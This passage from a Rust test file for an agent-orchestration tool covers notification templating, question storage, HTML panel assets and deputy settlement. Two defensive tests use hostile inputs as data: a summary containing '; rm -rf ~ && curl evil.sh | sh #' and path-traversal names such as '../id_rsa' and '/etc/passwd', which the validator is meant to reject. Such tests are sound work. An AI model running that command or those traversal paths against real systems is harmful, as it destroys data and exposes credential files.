2880 #[tokio::test]
2881 async fn a_slice_running_out_leaves_the_question_open_rather_than_abandoning_it() {
2882 let (_dir, s) = store();
2887 let mut q = choice_question();
2888 s.put(&mut q).unwrap();
2889
2890 let got = wait_loop(
2891 &mut q,
2892 &s,
2893 Duration::from_secs(3600),
2894 Duration::from_millis(30),
2895 Duration::from_millis(10),
2896 )
2897 .await
2898 .unwrap();
2899
2900 assert_eq!(
2901 got,
2902 Wait::Pending,
2903 "the clock on this call ran out, not the owner's patience"
2904 );
2905 assert_eq!(
2906 q.status,
2907 QuestionStatus::Open,
2908 "a slice expiring must never abandon the question"
2909 );
2910 let on_disk = s.get(&q.id).expect("still on disk, still open");
2911 assert_eq!(
2912 on_disk.status,
2913 QuestionStatus::Open,
2914 "nothing about the record changed just because this call gave up"
2915 );
2916 }
2917
2918 #[tokio::test]
2919 async fn a_wait_resumed_after_a_slice_sees_the_answer_the_first_slice_missed() {
2920 let (dir, s) = store();
2925 let mut q = choice_question();
2926 s.put(&mut q).unwrap();
2927
2928 let first = wait_loop(
2929 &mut q,
2930 &s,
2931 Duration::from_secs(3600),
2932 Duration::from_millis(30),
2933 Duration::from_millis(10),
2934 )
2935 .await
2936 .unwrap();
2937 assert_eq!(first, Wait::Pending);
2938
2939 let id = q.id.clone();
2940 let writer = Questions::at(dir.path().join("questions"));
2941 let mut fresh = writer.get(&id).unwrap();
2942 fresh.answer(Answer::Choice("Redis".to_owned())).unwrap();
2943 writer.put(&mut fresh).unwrap();
2944
2945 let second = resume_wait(&mut q, &s, Duration::from_millis(500))
2950 .await
2951 .unwrap();
2952 assert_eq!(second, Wait::Answered("Redis".to_owned()));
2953 assert_eq!(q.status, QuestionStatus::Answered);
2954 }
2955
2956 #[tokio::test]
2957 async fn a_reply_left_in_the_gap_before_a_resumed_wait_starts_is_never_missed() {
2958 let (dir, s) = store();
2968 let mut q = choice_question();
2969 s.put(&mut q).unwrap();
2970
2971 let first = wait_loop(
2972 &mut q,
2973 &s,
2974 Duration::from_secs(3600),
2975 Duration::from_millis(30),
2976 Duration::from_millis(10),
2977 )
2978 .await
2979 .unwrap();
2980 assert_eq!(first, Wait::Pending);
2981
2982 let id = q.id.clone();
2984 let writer = Questions::at(dir.path().join("questions"));
2985 let mut fresh = writer.get(&id).unwrap();
2986 fresh.say("why not Postgres?").unwrap();
2987 writer.put(&mut fresh).unwrap();
2988
2989 let mut resumed = s.get(&id).unwrap();
2993 let second = resume_wait(&mut resumed, &s, Duration::from_millis(500))
2994 .await
2995 .unwrap();
2996 assert_eq!(second, Wait::Replied("why not Postgres?".to_owned()));
2997 assert_eq!(
2998 resumed.status,
2999 QuestionStatus::Open,
3000 "talking back is not a decision; the question stays open"
3001 );
3002 }
3003
3004 #[tokio::test]
3005 async fn a_notification_that_cannot_run_does_not_cost_the_answer() {
3006 let (dir, s) = store();
3010 let broken = config::Notify {
3011 command: vec![
3012 "magi-notifier-that-does-not-exist-9fb7".to_owned(),
3013 "{summary}".to_owned(),
3014 ],
3015 };
3016 let mut q = choice_question();
3017 assert!(
3018 notify(&broken, &q).await.is_err(),
3019 "the caller is told; it decides that it does not matter"
3020 );
3021
3022 let id = q.id.clone();
3023 let writer = Questions::at(dir.path().join("questions"));
3024 let handle = tokio::spawn(async move {
3025 tokio::time::sleep(Duration::from_millis(30)).await;
3026 let mut fresh = writer.get(&id).unwrap();
3027 fresh.answer(Answer::Choice("Redis".to_owned())).unwrap();
3028 writer.put(&mut fresh).unwrap();
3029 });
3030 let got = wait_for_owner(
3031 &mut q,
3032 &s,
3033 &broken,
3034 Duration::from_secs(5),
3035 Duration::from_millis(10),
3036 )
3037 .await
3038 .unwrap();
3039 handle.await.unwrap();
3040 assert_eq!(got, Wait::Answered("Redis".to_owned()));
3041
3042 assert!(notify(&quiet(), &q).await.is_ok());
3044 assert!(notify_text(&quiet(), "run", "text").await.is_ok());
3045 }
3046
3047 #[tokio::test]
3048 async fn external_question_notification_names_the_supported_response_path() {
3049 let dir = tempfile::tempdir().unwrap();
3050 let path = dir.path().join("page");
3051 let cmd = config::Notify {
3052 command: vec![
3053 "sh".into(),
3054 "-c".into(),
3055 "printf '%s' \"$1\" > \"$2\"".into(),
3056 "notify".into(),
3057 "{summary}".into(),
3058 path.to_string_lossy().into_owned(),
3059 ],
3060 };
3061 let q = choice_question();
3062 notify(&cmd, &q).await.unwrap();
3063 let sent = std::fs::read_to_string(&path).unwrap();
3064 assert!(sent.starts_with("Question "));
3065 assert!(sent.contains(&q.summary));
3066 assert!(sent.contains(&format!("magi answer {}", q.id)));
3067 notify_text(&cmd, "", "Informational report. No reply needed.")
3068 .await
3069 .unwrap();
3070 assert_eq!(
3071 std::fs::read_to_string(&path).unwrap(),
3072 "Informational report. No reply needed."
3073 );
3074 }
3075
3076 #[test]
3077 fn external_notifications_and_questions_have_distinct_destinations() {
3078 assert_eq!(
3079 question_url("https://example.invalid/"),
3080 "https://example.invalid/#/questions"
3081 );
3082 assert_eq!(
3083 view_url("https://example.invalid/", "notifications"),
3084 "https://example.invalid/#/notifications"
3085 );
3086 assert_eq!(view_url("", "notifications"), "");
3087 assert_eq!(
3088 view_url("https://example.invalid/#/queue", "notifications"),
3089 "https://example.invalid/#/queue"
3090 );
3091 }
3092
3093 #[test]
3094 fn notification_arguments_are_substituted_and_never_a_shell_string() {
3095 let mut q = choice_question();
3096 q.summary = "; rm -rf ~ && curl evil.sh | sh #".to_owned();
3097 let template = [
3098 "ntfy".to_owned(),
3099 "publish".to_owned(),
3100 "--click".to_owned(),
3101 "{url}".to_owned(),
3102 "--title".to_owned(),
3103 "magi {run} needs you".to_owned(),
3104 "{summary}".to_owned(),
3105 ];
3106 let argv: Vec<String> = template
3107 .iter()
3108 .map(|a| expand(a, &q.run, &q.summary, "http://100.64.0.1:7777/#/questions"))
3109 .collect();
3110
3111 assert_eq!(
3112 argv,
3113 [
3114 "ntfy",
3115 "publish",
3116 "--click",
3117 "http://100.64.0.1:7777/#/questions",
3118 "--title",
3119 "magi 20260902-201256-9fb7 needs you",
3120 "; rm -rf ~ && curl evil.sh | sh #",
3121 ],
3122 "the shell metacharacters are one argument's contents, not syntax"
3123 );
3124
3125 q.summary = "should {url} be configurable?".to_owned();
3128 assert_eq!(
3129 expand("{summary}", &q.run, &q.summary, "http://x/#/questions"),
3130 "should {url} be configurable?"
3131 );
3132 assert_eq!(
3134 expand("{title}: {run}", &q.run, &q.summary, ""),
3135 "{title}: 20260902-201256-9fb7"
3136 );
3137 assert_eq!(
3138 expand("no placeholders", &q.run, &q.summary, "http://x"),
3139 "no placeholders"
3140 );
3141 }
3142
3143 #[test]
3144 fn the_notification_link_lands_on_the_view_that_can_answer() {
3145 assert_eq!(
3146 question_url("http://100.64.0.1:7777"),
3147 "http://100.64.0.1:7777/#/questions"
3148 );
3149 assert_eq!(
3150 question_url("http://100.64.0.1:7777/"),
3151 "http://100.64.0.1:7777/#/questions"
3152 );
3153 assert_eq!(
3155 question_url("http://magi.ts.net/#/runs"),
3156 "http://magi.ts.net/#/runs"
3157 );
3158 assert_eq!(question_url(" "), "");
3160 }
3161
3162 fn panelled() -> Question {
3164 let mut q = choice_question();
3165 q.id = "20260903-014455-ab12".to_owned();
3166 q
3167 }
3168
3169 #[test]
3170 fn a_panel_round_trips_verbatim_with_its_assets_listed_sorted() {
3171 let (dir, s) = store();
3172 let work = dir.path().join("worktree");
3173 std::fs::create_dir_all(&work).unwrap();
3174 std::fs::write(work.join("diff.svg"), "<svg/>").unwrap();
3175 std::fs::write(work.join("table.png"), b"\x89PNG").unwrap();
3176
3177 let mut q = panelled();
3178 let html = "<h1>Merge?</h1>\n<img src=\"asset/diff.svg\">\n";
3179 s.put_panel(
3180 &mut q,
3181 html,
3182 &[work.join("table.png"), work.join("diff.svg")],
3183 )
3184 .unwrap();
3185 s.put(&mut q).unwrap();
3186
3187 assert!(q.panel);
3188 assert_eq!(
3189 q.assets,
3190 ["diff.svg", "table.png"],
3191 "sorted, not in the order the agent happened to pass them"
3192 );
3193 assert_eq!(
3194 s.panel_html(&q.id).as_deref(),
3195 Some(html),
3196 "the html is stored byte for byte; the agent authored the markup"
3197 );
3198 assert_eq!(
3199 s.panel_asset(&q.id, "diff.svg").unwrap().as_deref(),
3200 Some(&b"<svg/>"[..])
3201 );
3202
3203 let body = std::fs::read_to_string(s.path_of(&q.id)).unwrap();
3205 let json: serde_json::Value = serde_json::from_str(&body).unwrap();
3206 assert_eq!(json["panel"], true);
3207 assert_eq!(json["assets"], serde_json::json!(["diff.svg", "table.png"]));
3208 let back = s.get(&q.id).unwrap();
3209 assert!(back.panel);
3210 assert_eq!(back.assets, q.assets);
3211
3212 std::fs::remove_dir_all(&work).unwrap();
3215 assert_eq!(
3216 s.panel_asset(&q.id, "table.png").unwrap().as_deref(),
3217 Some(&b"\x89PNG"[..]),
3218 "a referenced asset would be gone with the worktree"
3219 );
3220 }
3221
3222 #[test]
3223 fn a_traversal_asset_name_is_refused_before_the_filesystem_is_touched() {
3224 let (dir, s) = store();
3225 let mut q = panelled();
3226 s.put_panel(&mut q, "<p>ok</p>", &[]).unwrap();
3227 s.put(&mut q).unwrap();
3228
3229 let secret = "this must never reach the browser";
3232 std::fs::write(s.root().join("id_rsa"), secret).unwrap();
3233 assert_eq!(
3234 std::fs::read_to_string(s.panel_dir(&q.id).join("../id_rsa")).unwrap(),
3235 secret,
3236 "the traversal is real: the operating system resolves this path \
3237 happily, which is why the name has to be refused before the join"
3238 );
3239
3240 let long = "x".repeat(200);
3241 for name in [
3242 "..",
3243 "../id_rsa",
3244 "..\\id_rsa",
3245 "sub/../id_rsa",
3246 "/",
3247 "\\",
3248 "/etc/passwd",
3249 "C:\\Windows\\win.ini",
3250 "",
3251 ".hidden",
3252 ".",
3253 long.as_str(),
3254 ] {
3255 assert!(!valid_asset_name(name), "`{name}` must fail the pattern");
3256 let e = s.panel_asset(&q.id, name).unwrap_err().to_string();
3257 assert!(
3258 e.contains("not a panel file name"),
3259 "`{name}` must be refused as a name, not attempted: {e}"
3260 );
3261 assert!(!e.contains(secret), "`{name}` reached the filesystem: {e}");
3262 }
3263 assert!(s.panel_asset(&q.id, "index.html").unwrap().is_some());
3266
3267 let hidden = dir.path().join(".hidden");
3270 std::fs::write(&hidden, "x").unwrap();
3271 let e = s
3272 .put_panel(&mut q, "<p>replacement</p>", &[hidden])
3273 .unwrap_err()
3274 .to_string();
3275 assert!(e.contains(".hidden") && e.contains("A-Za-z0-9"), "{e}");
3276 assert_eq!(s.panel_html(&q.id).as_deref(), Some("<p>ok</p>"));
3277 assert!(q.assets.is_empty());
3278 }
3279
3280 #[test]
3281 fn the_panel_size_cap_refuses_an_oversized_asset_set_and_writes_nothing() {
3282 let (dir, s) = store();
3283 let mut q = panelled();
3284 s.put(&mut q).unwrap();
3285
3286 let big = dir.path().join("recording.png");
3289 std::fs::File::create(&big)
3290 .unwrap()
3291 .set_len(PANEL_MAX_BYTES)
3292 .unwrap();
3293
3294 let html = "<p>see the recording</p>";
3295 let total = PANEL_MAX_BYTES + html.len() as u64;
3296 let e = s.put_panel(&mut q, html, &[big]).unwrap_err().to_string();
3297 assert!(
3298 e.contains(&PANEL_MAX_BYTES.to_string()),
3299 "the cap is named so the agent knows the limit: {e}"
3300 );
3301 assert!(
3302 e.contains(&total.to_string()),
3303 "the actual size is named so the agent knows by how much: {e}"
3304 );
3305
3306 assert!(!q.panel);
3307 assert!(q.assets.is_empty());
3308 let left: Vec<String> = std::fs::read_dir(s.root())
3309 .unwrap()
3310 .map(|e| e.unwrap().file_name().to_string_lossy().into_owned())
3311 .collect();
3312 assert_eq!(
3313 left,
3314 [format!("{}.json", q.id)],
3315 "a refused panel leaves neither a directory nor scratch: {left:?}"
3316 );
3317 }
3318
3319 #[test]
3320 fn two_assets_sharing_a_base_name_are_refused_rather_than_one_hiding_the_other() {
3321 let (dir, s) = store();
3322 let (before, after) = (dir.path().join("before"), dir.path().join("after"));
3323 std::fs::create_dir_all(&before).unwrap();
3324 std::fs::create_dir_all(&after).unwrap();
3325 std::fs::write(before.join("diff.png"), "before").unwrap();
3326 std::fs::write(after.join("diff.png"), "after").unwrap();
3327
3328 let mut q = panelled();
3329 let e = s
3330 .put_panel(
3331 &mut q,
3332 "<p>x</p>",
3333 &[before.join("diff.png"), after.join("diff.png")],
3334 )
3335 .unwrap_err()
3336 .to_string();
3337 assert!(e.contains("diff.png"), "{e}");
3338 assert!(
3339 e.contains("before") && e.contains("after"),
3340 "both sources are named, because the fix is to rename one: {e}"
3341 );
3342 assert!(!q.panel);
3343 assert!(!s.panel_dir(&q.id).exists());
3344 }
3345
3346 #[test]
3347 fn concurrent_questions_keep_independent_records_and_panels_with_identical_entropy() {
3348 let (_dir, s) = store();
3349 let barrier = std::sync::Barrier::new(8);
3350 let ids = std::thread::scope(|scope| {
3351 let handles: Vec<_> = (0..8)
3352 .map(|worker| {
3353 let s = &s;
3354 let barrier = &barrier;
3355 scope.spawn(move || {
3356 barrier.wait();
3357 (0..16)
3358 .map(|index| {
3359 let mut q = choice_question();
3360 q.id = new_id_at("20261020-224346", 0xf8ef);
3363 q.summary = format!("worker {worker}, question {index}");
3364 assert!(valid_asset_name(&q.id));
3365 assert_eq!(q.short(), "f8ef");
3366 let html = format!("<p>{}</p>", q.summary);
3367 s.put_panel(&mut q, &html, &[]).unwrap();
3368 s.put(&mut q).unwrap();
3369 (q.id, q.summary, html)
3370 })
3371 .collect::<Vec<_>>()
3372 })
3373 })
3374 .collect();
3375 handles
3376 .into_iter()
3377 .flat_map(|handle| handle.join().unwrap())
3378 .collect::<Vec<_>>()
3379 });
3380 assert_eq!(s.list().len(), ids.len());
3381 for (id, summary, html) in ids {
3382 assert_eq!(s.get(&id).unwrap().summary, summary);
3383 assert_eq!(s.panel_html(&id).as_deref(), Some(html.as_str()));
3384 }
3385 }
3386
3387 #[test]
3388 fn storing_a_panel_twice_replaces_it_rather_than_merging_two_attempts() {
3389 let (dir, s) = store();
3390 std::fs::write(dir.path().join("old.png"), "old").unwrap();
3391 std::fs::write(dir.path().join("new.png"), "new").unwrap();
3392
3393 let mut q = panelled();
3394 s.put_panel(&mut q, "<p>first</p>", &[dir.path().join("old.png")])
3395 .unwrap();
3396 s.put_panel(&mut q, "<p>second</p>", &[dir.path().join("new.png")])
3397 .unwrap();
3398
3399 assert_eq!(q.assets, ["new.png"]);
3400 assert_eq!(s.panel_html(&q.id).as_deref(), Some("<p>second</p>"));
3401 assert!(
3402 s.panel_asset(&q.id, "old.png").unwrap().is_none(),
3403 "an asset from the first attempt would show a mix of two answers"
3404 );
3405
3406 s.drop_panel(&q.id).unwrap();
3407 assert!(s.panel_html(&q.id).is_none());
3408 assert!(!s.panel_dir(&q.id).exists());
3409 s.drop_panel(&q.id)
3410 .expect("dropping a panel that is already gone is the desired state");
3411 }
3412
3413 #[test]
3414 fn a_question_with_no_panel_reports_none_rather_than_an_error() {
3415 let (_dir, s) = store();
3416 let mut q = panelled();
3417 s.put(&mut q).unwrap();
3418
3419 assert!(!q.panel);
3420 assert!(s.panel_html(&q.id).is_none());
3421 assert!(
3422 s.panel_asset(&q.id, "diff.svg").unwrap().is_none(),
3423 "a missing file is a 404 for the caller, not a failure of the store"
3424 );
3425 let json = serde_json::to_value(&q).unwrap();
3426 assert_eq!(json["panel"], false);
3427 assert_eq!(json["assets"], serde_json::json!([]));
3428
3429 let e = s.put_panel(&mut q, " \n", &[]).unwrap_err().to_string();
3432 assert!(e.contains("empty panel"), "{e}");
3433 assert!(!s.panel_dir(&q.id).exists());
3434 }
3435
3436 #[test]
3437 fn a_question_written_before_panels_existed_still_deserialises() {
3438 let (_dir, s) = store();
3439 std::fs::create_dir_all(s.root()).unwrap();
3440 let id = "20260902-231501-ab12";
3441 let body = r#"{
3443 "schema": 1,
3444 "id": "20260902-231501-ab12",
3445 "run": "20260902-201256-9fb7",
3446 "node": "implement",
3447 "seat": "impl-A",
3448 "summary": "Which storage backend should the cache use?",
3449 "detail": "Both are already dependencies.",
3450 "choices": ["SQLite", "Redis"],
3451 "status": "open",
3452 "asked_at": "2026-09-02T23:15:01Z",
3453 "answered_at": null,
3454 "answer": null
3455}"#;
3456 std::fs::write(s.path_of(id), body).unwrap();
3457
3458 let q = s.get(id).unwrap();
3459 assert!(
3460 !q.panel,
3461 "an absent field means no panel, not a parse error"
3462 );
3463 assert!(q.assets.is_empty());
3464 assert_eq!(q.schema, 1);
3469 assert!(q.thread.is_empty());
3470 assert_eq!(
3471 q.answer_timeout, 0,
3472 "an absent field means unrecorded, not a zero-second deadline"
3473 );
3474 assert!(!q.waiting_on_agent());
3475 assert_eq!(q.summary, "Which storage backend should the cache use?");
3476 assert_eq!(
3477 s.list().len(),
3478 1,
3479 "and it is still listed; skipping it would hide an open question"
3480 );
3481 }
3482
3483 fn turn(who: Who, body: &str, at: Timestamp) -> Turn {
3484 Turn {
3485 who,
3486 body: body.to_owned(),
3487 at,
3488 note: None,
3489 }
3490 }
3491
3492 #[test]
3493 fn a_turn_round_trips_as_who_body_at_with_two_named_speakers() {
3494 let mut q = choice_question();
3497 q.thread
3498 .push(turn(Who::Operator, "why not Postgres?", Timestamp::now()));
3499 let value = serde_json::to_value(&q.thread[0]).unwrap();
3500 let mut keys: Vec<&str> = value
3501 .as_object()
3502 .unwrap()
3503 .keys()
3504 .map(String::as_str)
3505 .collect();
3506 keys.sort_unstable();
3507 assert_eq!(keys, ["at", "body", "who"]);
3508 assert_eq!(value["who"], "operator");
3509 assert_eq!(value["body"], "why not Postgres?");
3510
3511 let agent_turn = serde_json::json!({"who": "agent", "body": "hi", "at": value["at"]});
3512 let parsed: Turn = serde_json::from_value(agent_turn).unwrap();
3513 assert_eq!(parsed.who, Who::Agent);
3514 }
3515
3516 fn approval_question() -> Question {
3517 let mut q = Question::new(
3518 "run".into(),
3519 crate::land::APPROVAL_NODE.into(),
3520 "land".into(),
3521 "Merge?".into(),
3522 String::new(),
3523 vec!["merge".into(), "hold".into()],
3524 );
3525 let mut dep = Deputy::new("brief".into());
3526 dep.seat = Some(crate::agent::SeatState::new("deputy-x", "alpha", 1));
3527 q.deputy = Some(dep);
3528 q
3529 }
3530
3531 #[test]
3532 fn a_deputy_settles_merge_and_recovery_on_the_owners_words_without_a_quote() {
3533 let target = || crate::merge_decision::Target {
3534 pr: "PR 42".into(),
3535 head: "abc".into(),
3536 language: "en".into(),
3537 };
3538 let mut q = approval_question();
3540 q.merge_target = Some(target());
3541 q.say("マージしていいよ。残りのレビュー指摘はフォローアップタスクとして積んで")
3542 .unwrap();
3543 q.settle_by_deputy("deputy-x", crate::land::APPROVE, None)
3544 .unwrap();
3545 assert_eq!(q.resolution().as_deref(), Some(crate::land::APPROVE));
3546 assert_eq!(q.merge_target, Some(target()), "the merge stays head-bound");
3547 for choice in [
3549 crate::land::HOLD,
3550 crate::land::REPAIR,
3551 crate::merge_decision::WITHDRAW,
3552 "reimplement:beta",
3553 ] {
3554 let mut q = approval_question();
3555 q.choices = vec![crate::land::APPROVE.into(), choice.into()];
3556 q.merge_target = Some(target());
3557 q.say("ちょっと待って、そっちでお願い").unwrap();
3558 q.settle_by_deputy("deputy-x", choice, Some("owner chose this"))
3559 .unwrap();
3560 assert_eq!(q.resolution().as_deref(), Some(choice));
3561 }
3562 let mut release = Question::new(
3564 String::new(),
3565 crate::bump::NOTICE_NODE.into(),
3566 "release-watch".into(),
3567 "Release?".into(),
3568 String::new(),
3569 vec![crate::land::APPROVE.into(), crate::land::HOLD.into()],
3570 );
3571 release.deputy = approval_question().deputy;
3572 release.say("リリースしていいよ").unwrap();
3573 release
3574 .settle_by_deputy("deputy-x", crate::land::APPROVE, None)
3575 .unwrap();
3576 assert_eq!(release.resolution().as_deref(), Some(crate::land::APPROVE));
3577 }
3578
3579 #[test]
3580 fn a_deputy_settles_posting_and_destructive_choices_without_a_quote() {
3581 use crate::github_text::{ASK_NODE, ASK_SEAT, POST_ORIGINAL, USE_FALLBACK, USE_REWRITE};
3582 for choice in [POST_ORIGINAL, USE_REWRITE] {
3583 let mut q = Question::new(
3584 "run".into(),
3585 ASK_NODE.into(),
3586 ASK_SEAT.into(),
3587 "s".into(),
3588 String::new(),
3589 vec![USE_FALLBACK.into(), choice.into()],
3590 );
3591 q.deputy = approval_question().deputy;
3592 q.say("それでいいよ、投稿して").unwrap();
3593 q.settle_by_deputy("deputy-x", choice, None).unwrap();
3594 assert_eq!(q.resolution().as_deref(), Some(choice));
3595 }
3596 let mut discard = approval_question();
3597 discard.node = "recovery".into();
3598 discard.choices.push("discard".into());
3599 discard.actions.insert("discard".into(), ChoiceAction::Done);
3600 discard.say("おっけーそれぞれ回答してー").unwrap();
3601 discard
3602 .settle_by_deputy("deputy-x", "discard", None)
3603 .unwrap();
3604 assert_eq!(discard.chosen_action(), Some(&ChoiceAction::Done));
3605 }
3606
3607 #[test]
3608 fn hold_may_carry_the_hold_effect_but_no_other_action() {
3609 let mut q = choice_question();
3610 q.choices = vec![crate::land::HOLD.into(), "finish".into()];
3611 q.actions
3612 .insert(crate::land::HOLD.into(), ChoiceAction::Hold);
3613 q.clone()
3614 .answer(Answer::Choice(crate::land::HOLD.into()))
3615 .unwrap();
3616 q.actions
3617 .insert(crate::land::HOLD.into(), ChoiceAction::Done);
3618 assert!(q.answer(Answer::Choice(crate::land::HOLD.into())).is_err());
3619 }
3620
3621 fn settle_ready() -> Question {
3622 let mut q = Question::new(
3623 "task".to_owned(),
3624 "conduct".to_owned(),
3625 "conduct".to_owned(),
3626 "Done?".to_owned(),
3627 String::new(),
3628 vec!["yes".to_owned(), "no".to_owned()],
3629 );
3630 let mut seat = crate::agent::SeatState::new("deputy-x", "alpha", 1);
3631 seat.turns = 1;
3632 let mut dep = Deputy::new("brief".to_owned());
3633 dep.seat = Some(seat);
3634 q.deputy = Some(dep);
3635 q.say("setup done, and file a follow-up").unwrap();
3636 q
3637 }
3638
3639 #[test]
3640 fn a_settle_note_is_stored_on_the_turn_through_update_and_reads_back() {
3641 let dir = tempfile::TempDir::new().unwrap();
3642 let store = Questions::at(dir.path().join("questions"));
3643 let mut q = settle_ready();
3644 let id = q.id.clone();
3645 store.put(&mut q).unwrap();
3646 store
3647 .update(&id, |q| {
3648 q.settle_by_deputy("deputy-x", "yes", Some(" no follow-up was queued "))
3649 })
3650 .unwrap();
3651 let back = store.get(&id).unwrap();
3652 let turn = back.thread.last().unwrap();
3653 assert_eq!(turn.who, Who::Agent);
3654 assert!(turn.body.starts_with("Settled as `yes`"));
3655 assert_eq!(turn.note.as_deref(), Some("no follow-up was queued"));
3656 assert_eq!(back.thread[0].note, None);
3657 }
3658
3659 #[test]
3660 fn an_empty_or_blank_settle_note_is_no_note() {
3661 for note in [None, Some(""), Some(" \n ")] {
3662 let mut q = settle_ready();
3663 q.settle_by_deputy("deputy-x", "yes", note).unwrap();
3664 assert_eq!(q.thread.last().unwrap().note, None, "{note:?}");
3665 let json = serde_json::to_string(&q).unwrap();
3666 assert!(!json.contains("\"note\""), "no key when there is none");
3667 }
3668 }
3669
3670 #[test]
3671 fn a_refused_settle_leaves_no_note_behind() {
3672 let mut q = settle_ready();
3673 let before = q.thread.clone();
3674 assert!(q.settle_by_deputy("deputy-x", "maybe", Some("n")).is_err());
3675 assert!(
3676 q.settle_by_deputy("someone-else", "yes", Some("n"))
3677 .is_err()
3678 );
3679 assert_eq!(q.thread, before);
3680 assert_eq!(q.status, QuestionStatus::Open);
3681 }
3682
3683 #[test]
3684 fn a_turn_written_before_notes_existed_still_reads() {
3685 let t: Turn =
3686 serde_json::from_str(r#"{"who":"agent","body":"old","at":"2026-01-01T00:00:00Z"}"#)
3687 .unwrap();
3688 assert_eq!(t.note, None);
3689 }
3690
3691 #[test]
3692 fn a_deputy_settles_only_its_own_open_question_on_an_offered_choice() {
3693 let mut q = Question::new(
3694 "task".to_owned(),
3695 "conduct".to_owned(),
3696 "conduct".to_owned(),
3697 "Done?".to_owned(),
3698 String::new(),
3699 vec!["yes".to_owned(), "no".to_owned()],
3700 );
3701 let mut seat = crate::agent::SeatState::new("deputy-x", "alpha", 1);
3702 seat.turns = 1;
3703 let mut dep = Deputy::new("brief".to_owned());
3704 dep.seat = Some(seat);
3705 q.deputy = Some(dep);
3706 q.say("setup done, go ahead").unwrap();
3707
3708 assert!(q.settle_by_deputy("someone-else", "yes", None).is_err());
3709 assert!(q.settle_by_deputy("deputy-x", "maybe", None).is_err());
3710 let mut routed = q.clone();
3711 routed.routed_task = Some("task".into());
3712 assert!(
3713 routed.settle_by_deputy("deputy-x", "yes", None).is_err(),
3714 "a routed decision belongs to the task chat"
3715 );
3716 assert_eq!(q.status, QuestionStatus::Open);
3717
3718 q.settle_by_deputy("deputy-x", "yes", None).unwrap();
3719 assert_eq!(q.status, QuestionStatus::Answered);
3720 assert_eq!(q.resolution().as_deref(), Some("yes"));
3721 let last = q.thread.last().unwrap();
3722 assert_eq!(last.who, Who::Agent);
3723 assert!(last.body.starts_with("Settled as `yes`"));
3724 let turns = q.thread.len();
3725 assert!(
3726 q.settle_by_deputy("deputy-x", "no", None).is_err(),
3727 "a settled question is not settled twice"
3728 );
3729 assert_eq!(q.thread.len(), turns);
3730 }
3731
3732 #[test]
3733 fn old_answer_evidence_still_loads_and_survives_a_re_save() {
3734 let q = choice_question();
3735 let mut v = serde_json::to_value(&q).unwrap();
3736 v["answer_authority"] = serde_json::json!({
3737 "talk": "talk", "turn": 0, "message": 0,
3738 "instruction": "id: use my text fp\nA title",
3739 "instruction_fingerprint": "f", "recommendation_turn": null,
3740 "recommendation_fingerprint": null, "question": q.id, "choice": "SQLite",
3741 "question_fingerprint": "g", "recovery_interpretation": "r"
3742 });
3743 let back: Question = serde_json::from_value(v).unwrap();
3744 let legacy = back.answer_authority.as_ref().unwrap();
3745 assert_eq!(legacy.question, q.id);
3746 assert_eq!(legacy.instruction, "id: use my text fp\nA title");
3747 let written = serde_json::to_value(&back).unwrap();
3750 assert_eq!(
3751 written["answer_authority"],
3752 serde_json::json!({
3753 "question": q.id, "choice": "SQLite",
3754 "instruction": "id: use my text fp\nA title"
3755 })
3756 );
3757 let again: Question = serde_json::from_value(written).unwrap();
3758 assert_eq!(again.answer_authority, back.answer_authority);
3759 assert!(
3760 serde_json::to_value(&q)
3761 .unwrap()
3762 .get("answer_authority")
3763 .is_none()
3764 );
3765 }
3766
3767 #[test]
3768 fn a_question_written_before_deputies_still_reads() {
3769 let mut q = Question::new(
3770 "task".to_owned(),
3771 "conduct".to_owned(),
3772 "conduct".to_owned(),
3773 "Done?".to_owned(),
3774 String::new(),
3775 Vec::new(),
3776 );
3777 q.schema = 4;
3778 let mut v = serde_json::to_value(&q).unwrap();
3779 v.as_object_mut().unwrap().remove("deputy");
3780 let back: Question = serde_json::from_value(v).unwrap();
3781 assert!(back.deputy.is_none());
3782 }
3783
3784 #[test]
3785 fn saying_something_appends_an_operator_turn_without_deciding_anything() {
3786 let mut q = choice_question();
3787 q.say("does the cache need eviction?").unwrap();
3788 assert_eq!(q.thread.len(), 1);
3789 assert_eq!(q.thread[0].who, Who::Operator);
3790 assert_eq!(q.thread[0].body, "does the cache need eviction?");
3791 assert_eq!(q.status, QuestionStatus::Open);
3794 assert!(q.answer.is_none());
3795 assert!(q.waiting_on_agent(), "the ball is now in the agent's court");
3796 }
3797
3798 #[test]
3799 fn saying_and_replying_are_refused_on_a_settled_question_and_on_empty_text() {
3800 let mut answered = choice_question();
3801 answered
3802 .answer(Answer::Choice("SQLite".to_owned()))
3803 .unwrap();
3804 let a = answered.say("still there?").unwrap_err().to_string();
3805 assert!(a.contains("already answered"), "{a}");
3806 let b = answered
3807 .reply("still there?", vec![])
3808 .unwrap_err()
3809 .to_string();
3810 assert!(b.contains("already answered"), "{b}");
3811
3812 let mut abandoned = choice_question();
3813 abandoned.abandon("timed out");
3814 let c = abandoned.say("hello?").unwrap_err().to_string();
3815 assert!(c.contains("abandoned"), "{c}");
3816
3817 let mut open = choice_question();
3818 let d = open.say(" ").unwrap_err().to_string();
3819 assert!(d.contains("empty"), "{d}");
3820 let e = open.reply(" \n", vec![]).unwrap_err().to_string();
3821 assert!(e.contains("empty"), "{e}");
3822 assert!(open.thread.is_empty(), "a refused turn leaves no trace");
3823 }
3824
3825 #[test]
3826 fn a_reply_replaces_the_choices_and_moves_the_ball_back_to_the_owner() {
3827 let mut q = choice_question();
3828 q.say("SQLite or Redis, but what about disk space?")
3829 .unwrap();
3830 assert!(q.waiting_on_agent());
3831
3832 q.reply(
3833 "SQLite: it is one file, no server to run.",
3834 vec!["SQLite".to_owned()],
3835 )
3836 .unwrap();
3837
3838 assert_eq!(q.choices, ["SQLite"]);
3839 assert!(
3840 !q.waiting_on_agent(),
3841 "the agent spoke, so the owner is the one being waited on now"
3842 );
3843 assert_eq!(q.thread.len(), 2);
3844 assert_eq!(q.thread[1].who, Who::Agent);
3845
3846 assert!(q.answer(Answer::Choice("Redis".to_owned())).is_err());
3848 q.answer(Answer::Choice("SQLite".to_owned())).unwrap();
3849 assert_eq!(q.resolution().as_deref(), Some("SQLite"));
3850 }
3851
3852 #[test]
3853 fn notification_fires_for_the_first_ask_and_only_after_the_quiet_window_on_a_reply() {
3854 let mut fresh = choice_question();
3855 assert!(
3856 fresh.should_notify(Timestamp::now()),
3857 "nobody has been notified yet, so the first ask always pages"
3858 );
3859
3860 fresh.say("why not Postgres?").unwrap();
3861 let just_said = fresh.thread[0].at;
3862 assert!(
3863 !fresh.should_notify(just_said + jiff::SignedDuration::from_secs(60)),
3864 "still on the screen a minute later; no need to page again"
3865 );
3866 assert!(
3867 !fresh.should_notify(just_said + jiff::SignedDuration::from_secs(300)),
